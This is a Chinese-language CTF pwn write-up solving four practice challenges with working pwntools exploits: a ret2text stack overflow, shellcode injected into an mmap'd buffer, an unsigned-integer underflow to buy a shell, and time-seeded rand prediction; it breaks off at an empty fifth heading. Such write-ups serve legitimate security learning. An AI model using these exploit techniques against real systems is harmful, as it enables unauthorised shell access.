# 1.ret2text

64 位程序,开启了 NX,明显的栈溢出

有后门字符串

点进去,然后按住 "ctrl +x" 转移到后门函数

要执行 execve ("/bin/sh",0,0)
直接利用

exp:

n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./ret2text')
p.recvuntil("magic\n")
payload1=b"a"*40+p64(0x00004011FB)  #溢出 40 个字符串
p.sendline(payload1)
p.interactive()

本地:

远程:

# 2.ezshellcode

64 位程序,开启了 nx,由于该题目已经说明了用 shellcode,我们需要绕过 NX

IDA 查看


发现有 mmap 函数,它开辟了一个可执行地址,返回值就是该地址

所以 buf 上可执行在这注入我们的 shellcode,后面又有一个 jump 跳转到该地址就会执行我们写入的 shellcode

exp:

n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p=process('./ezshellcode')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
shellcode = asm(shellcraft.sh())
p.recvuntil("magic\n")
payload1=shellcode
p.sendline(payload1)
p.interactive()

# 3.newstar_shop

64 位程序,保护全开

shop 函数中有后门,但是需要我们让 money>0x270E

看一下初始 money 的大小,发现 money=64h (100), chance=1

但是我们发现 moneyunsigned int 类型,最小值为 0, 0-1 后这个值会变到最大,所以想办法减少这个值

shop 函数中由于会先判断 money 的大小才减去,所以不能直接用

发现在 dont_try 函数会减 50,由于 chance是1 ,所以只会减一次,那么我们需要在 shop 函数里先消耗掉一部分

最终办法:

  1. shop 中消耗 80(在商店中选两次减 40 的)
  2. 进入 dont_try 消耗 50
  3. 购买 shell

直接 nc 连接:

  1. 输入 1,进入商店,输入 2 ,花费 40
  2. 再次输入 1,进入商店,输入 2,花费 40
  3. 输入 3,进入 Don't choose,扣除 50,这时 money 的值就会很大
  4. 输入 1,然后输入 3 来 getshell

# 4.Random

64 位程序,保护全开

sy 函数中有后门

发现只有让我们输入的值与随机数相同就能进入后门中,不过后门中也是通过随机数来传参,那么我们就需要多试几次即可

随机数是伪随机,通过种子函数来产生值,可以利用 ctpye 库来构造 c 函数的 srand 函数

【ctypes 是 Python 内建的用于调用动态链接库函数的功能模块,一定程度上可以用于 Python 与其他语言的混合编程。由于编写动态链接库,使用 C/C 是最常见的方式,故 ctypes 最常用于 Python 与 C/C 混合编程之中。
rand 函数要用 cdll 中的函数。】

n
from ctypes import *
libc = cdll.LoadLibrary('libc.so.6') #自己会加载这个库
libc.srand(libc.time(0)) #以 time (0) 为随机数种子
num=str(libc.rand()) #产生随机数,转成字符型

exp:

n
from pwn import *
from ctypes import *
#context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node4.buuoj.cn',28504)
libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
num = str(libc.rand())
p.sendlineafter('number?\n',num)
p.interactive()

# 5.